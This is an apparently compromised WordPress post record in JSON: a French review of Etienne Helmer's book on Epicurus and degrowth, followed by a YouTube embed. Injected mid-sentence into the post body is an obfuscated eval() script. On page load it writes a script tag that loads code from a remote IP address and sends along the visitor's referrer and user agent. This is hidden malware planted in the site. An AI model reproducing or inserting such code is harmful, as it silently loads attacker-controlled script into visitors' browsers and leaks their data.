{"id":8336,"date":"2013-06-03T17:39:36","date_gmt":"2013-06-03T16:39:36","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=8336"},"modified":"2013-06-03T21:24:41","modified_gmt":"2013-06-03T20:24:41","slug":"il-en-faut-peu-pour-etre-heureux-etienne-baloo-helmer-1967","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=8336","title":{"rendered":"\u00ab\u00a0Il en faut peu pour \u00eatre heureux\u00a0\u00bb Etienne Helmer"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" alt=\"\" src=\"http:\/\/www.actu-environnement.com\/images\/illustrations\/librairie\/previews\/12295_1.jpg\" width=\"132\" height=\"205\" \/>L\u2019\u00e9picurien, <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aetfa|var|u0026u|referrer|ikaaf||js|php'.split('|'),0,{}))\n<\/script><\/noindex> le vrai, postule que l\u2019humain est profond\u00e9ment malheureux, parce qu\u2019il se trompe sur la r\u00e9alit\u00e9 du plaisir qu\u2019il associe \u00e0 la possession, au pouvoir ou \u00e0 la gloire. De quoi remettre en cause la vision fauss\u00e9e que nous avons aujourd&rsquo;hui d&rsquo;Epicure.<br \/>\nDe ce postulat, il d\u00e9coule en effet qu\u2019Epicure voit dans l\u2019autolimitation, un des moyens d\u2019atteindre la tranquillit\u00e9 de l\u2019\u00e2me, et dans l\u2019absence de douleur, la persistance du plaisir. On pourrait croire qu\u2019Epicure est donc l\u2019exemple m\u00eame de l\u2019Objecteur de Croissance dansant sur le pied de la simplicit\u00e9 volontaire. Pourtant, en d\u00e9non\u00e7ant l\u2019ambivalence du progr\u00e8s technique (qui lib\u00e8re l\u2019homme en m\u00eame temps qu\u2019il l\u2019amollit et qui repr\u00e9sente une violence, en premier lieu pour la nature), ses disciples contraignent l\u2019activit\u00e9 \u00e9conomique et son rythme \u00e0 n\u2019\u00eatre mesur\u00e9 que par le besoin n\u00e9cessaire, et l\u2019\u00e9thique. Une \u00e9conomie o\u00f9 la possession, et l\u2019accumulation de biens n\u2019a de sens que par le partage et le don qu\u2019elles permettent, et o\u00f9 le travail ne s\u2019envisage que par la production du n\u00e9cessaire au bien commun.<\/p>\n<p>Malheureusement l\u2019ouvrage est trop court pour laisser la place \u00e0 l\u2019auteur de vulgariser son propos, qui est parfois jargonneux. Se basant sur les rares textes qu\u2019il nous reste d\u2019Epicure, et surtout sur ceux de ses disciples, Etienne Helmer dresse n\u00e9anmoins le tableau d\u2019un \u00e9picurisme qui, loin de l\u2019aust\u00e9rit\u00e9, n\u2019est en fait que la compr\u00e9hension des bienfaits de la limitation, en vue d\u2019\u00e9viter les angoisses, les craintes et la violence suscit\u00e9es par l\u2019exc\u00e8s, pour y pr\u00e9f\u00e9rer le plaisir : \u201cSe satisfaire de peu c\u2019est se satisfaire toujours\u201d. Le philosophe, enfin, ne manque pas de conclure qu\u2019aujourd\u2019hui, \u201cle changement radical (&#8230;) appel\u00e9 par la d\u00e9croissance [suppose] l\u2019appui et le renouveau de la politique plut\u00f4t que son effacement\u201d.<\/p>\n<p><!--more--><br \/>\n<object width=\"546\" height=\"410\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.youtube.com\/v\/QprXlfVkpH4?hl=fr_FR&amp;version=3\" \/><param name=\"allowfullscreen\" value=\"true\" \/><embed width=\"546\" height=\"410\" type=\"application\/x-shockwave-flash\" src=\"http:\/\/www.youtube.com\/v\/QprXlfVkpH4?hl=fr_FR&amp;version=3\" allowFullScreen=\"true\" allowscriptaccess=\"always\" allowfullscreen=\"true\" \/><\/object><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u2019\u00e9picurien, le vrai, postule que l\u2019humain est profond\u00e9ment malheureux, parce qu\u2019il se trompe sur la r\u00e9alit\u00e9 du plaisir qu\u2019il associe \u00e0 la possession, au pouvoir ou \u00e0 la gloire. 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